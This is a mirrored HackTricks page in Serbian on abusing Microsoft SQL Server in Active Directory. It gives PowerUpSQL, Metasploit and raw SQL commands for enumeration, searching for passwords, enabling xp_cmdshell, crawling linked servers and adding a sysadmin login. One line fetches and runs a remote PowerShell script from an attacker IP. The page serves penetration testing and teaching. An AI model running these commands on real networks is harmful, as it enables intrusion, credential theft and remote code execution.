Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-13 06:42:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

11 KiB
Raw Blame History

Zloupotreba MSSQL AD

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

{% embed url="https://websec.nl/" %}

MSSQL Enumeracija / Otkrivanje

Powershell modul PowerUpSQL je veoma koristan u ovom slučaju.

Import-Module .\PowerupSQL.psd1

Nabrojavanje sa mreže bez sesije domena

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Nabrojavanje iznutra domena

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Osnovno zloupotreba MSSQL-a

Pristup bazi podataka

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Takođe je moguće izvršiti komande unutar MSSQL hosta

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Osnovni trikovi hakovanja MSSQL

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL Poverljive veze

Ako je instanca MSSQL poverljiva (veza baze podataka) sa drugom instancom MSSQL. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će iskoristiti povereni odnos da izvršava upite i na drugoj instanci. Ove veze mogu biti povezane i u nekom trenutku korisnik može pronaći nekonfigurisanu bazu podataka gde može izvršavati komande.

Veze između baza podataka funkcionišu čak i preko poverenja šuma.

Zloupotreba Powershella

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Možete lako proveriti pouzdane veze koristeći metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Primetite da će metasploit pokušati da zloupotrebi samo funkciju openquery() u MSSQL (tako da, ako ne možete izvršiti komandu pomoću openquery(), moraćete probati EXECUTE metod ručno da biste izvršili komande, više detalja ispod.)

Ručno - Openquery()

Sa Linuxa možete dobiti MSSQL konzolni shell pomoću sqsh i mssqlclient.py.

Sa Windowsa takođe možete pronaći linkove i ručno izvršavati komande koristeći MSSQL klijent kao što je HeidiSQL

Prijavite se koristeći Windows autentifikaciju:

Pronalaženje pouzdanih linkova

select * from master..sysservers;
EXEC sp_linkedservers;

Izvršavanje upita u pouzdanom linku

Izvršite upite putem linka (primer: pronađite više linkova u novom pristupačnom primerku):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} Proverite gde se koriste dvostruki i jednostruki navodnici, važno je koristiti ih na taj način. {% endhint %}

Možete nastaviti ovaj lanac pouzdanih veza zauvek ručno.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Uputstvo - IZVRŠI

Takođe možete zloupotrebiti poverene veze koristeći EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Lokalno eskaliranje privilegija

MSSQL lokalni korisnik obično ima poseban tip privilegije nazvan SeImpersonatePrivilege. Ovo omogućava nalogu da "impersonira klijenta nakon autentikacije".

Strategija koju su mnogi autori osmislili je da prisile sistemski servis da se autentikuje na lažni ili servis između koji napadač kreira. Ovaj lažni servis zatim može da impersonira sistemski servis dok pokušava da se autentikuje.

SweetPotato ima kolekciju različitih tehnika koje se mogu izvršiti putem Beacon-ove komande execute-assembly.

{% embed url="https://websec.nl/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!